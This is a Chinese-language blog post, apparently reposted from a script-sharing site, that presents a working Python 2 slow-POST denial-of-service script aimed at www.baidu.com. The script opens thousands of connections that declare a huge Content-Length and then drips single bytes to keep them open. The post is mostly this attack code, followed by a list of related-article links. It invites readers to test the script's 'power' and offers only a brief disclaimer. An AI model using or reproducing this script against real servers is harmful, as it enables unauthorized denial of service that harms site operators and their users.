python模拟ddos攻击_python版DDOS攻击脚本
本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下
于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。
附上源码pyDdos.py:
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "Could not connect to server or send error:%s"%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
#print "send OK!"
except Exception,ex:
print "Send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。
python模拟ddos攻击_python版DDOS攻击脚本相关推荐
- pythonarp攻击_python 实现ARP攻击
原博文 2013-10-27 21:38 − 注:使用这个脚本需要安装scapy 包 最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题 1 #coding:utf-8 ...
- python模拟抛硬币_python实现简单随机模拟——抛呀抛硬币
还是在上次提到的数据之魅那本书,看到模拟这章,有个python模拟脚本,但书上不全,就自己简单写了下. 流程:在不同的平衡参数p(为0.5时为均匀的)下,模拟60次实验,每次投硬币8次,统计正面朝上的 ...
- python模拟浏览器代码_python 模拟浏览器
想用python模拟浏览器访问web的方法测试些东西,有哪几种方法呢? 一类:单纯的访问web,不解析其js,css等. 1. urllib2 #-*- coding:utf-8 -* import ...
- python模拟键盘打字_python模拟鼠标点击和键盘输入的操作
所有代码都是网上百度出来的,通过个人实践找到适合自己的. 采用的python 库是 pymouse.pykeyboard 安装时直接pip安装的,pip install PyUserInput 实现了 ...
- python模拟登录网站_Python模拟登录淘宝都实现了,你还怕模拟登录?
文章转载自公众号 :裸睡的猪 , 作者 猪哥66 最近想爬取淘宝的一些商品,但是发现如果要使用搜索等一些功能时基本都需要登录,所以就想出一篇模拟登录淘宝的文章! 看了下网上有很多关于模拟登录淘宝,但是 ...
- python实现dos攻击_python 实现DoS攻击
python 实现DoS攻击 2020-07-30 03:12 阅读数 6 前言 一 狗店老板欺负我女神,作为一个程序员这如果都能忍那还算男人?得知这个狗店老板买狗网站后果断决定黑了他,看他嚣张不嚣张 ...
- python模拟购物模块_python -模拟购物 -赊账版 粗糙之极
#!/usr/bin/env python # by raman s_list = ['car','bike','book','milk'] p_list = ['300000','2000','98 ...
- python模拟app登陆_python scrapy版 模拟登陆appAnnie
方法总比困难多,遇到问题,要找到问题的根源,不断地调试,不要放弃,一定会与解决的方法,程序是人写的,问题不可能没有办法解决,冷静的去分析,问题一定会解开的,加油! # -*- coding: utf- ...
- python模拟登录网站_Python爬虫之模拟登录wechat
不知何时,微信已经成为我们不可缺少的一部分了,我们的社交圈.关注的新闻或是公众号.还有个人信息或是隐私都被绑定在了一起.既然它这么重要,如果我们可以利用爬虫模拟登录,是不是就意味着我们可以获取这些信息 ...
最新文章
- AD时间同步原理分析
- python链表翻转_反转链表(两种Python解法)
- LeetCode 70爬楼梯71简化路径72编辑距离(dp)
- webservice中jaxws:server 和jaxws:endpoint的区别
- 2018一级计算机基础,2018年计算机一级考试计算机基础及Photoshop试题及答案.pdf
- day3 java的运算符及其注意问题
- 基于event 实现的线程安全的优先队列(python实现)
- Halcon/MFC混合编程入门
- mysql消息订阅与发布_消息发布与订阅
- maven配置本地jar包
- python pywinauto 自动控制微信, 关键字回复、收款、定时任务, 代替人工成为微信客服
- Decorate(修饰模式)
- Java代码实现奇数和偶数的判断
- 英语五种基本句型判断
- 酸了,深圳一普通中学老师工资单曝光,秒杀程序员!
- Html网站页面实现黑白效果
- mouse hover时就显示提示信息,太烦了,怎样屏蔽它
- CDISC的SDTMIG,3.2版翻译和学习2---第二章 SDTM基础
- 智慧井盖解决方案-最新全套文件
- ceph monitor 选举leader和peon的过程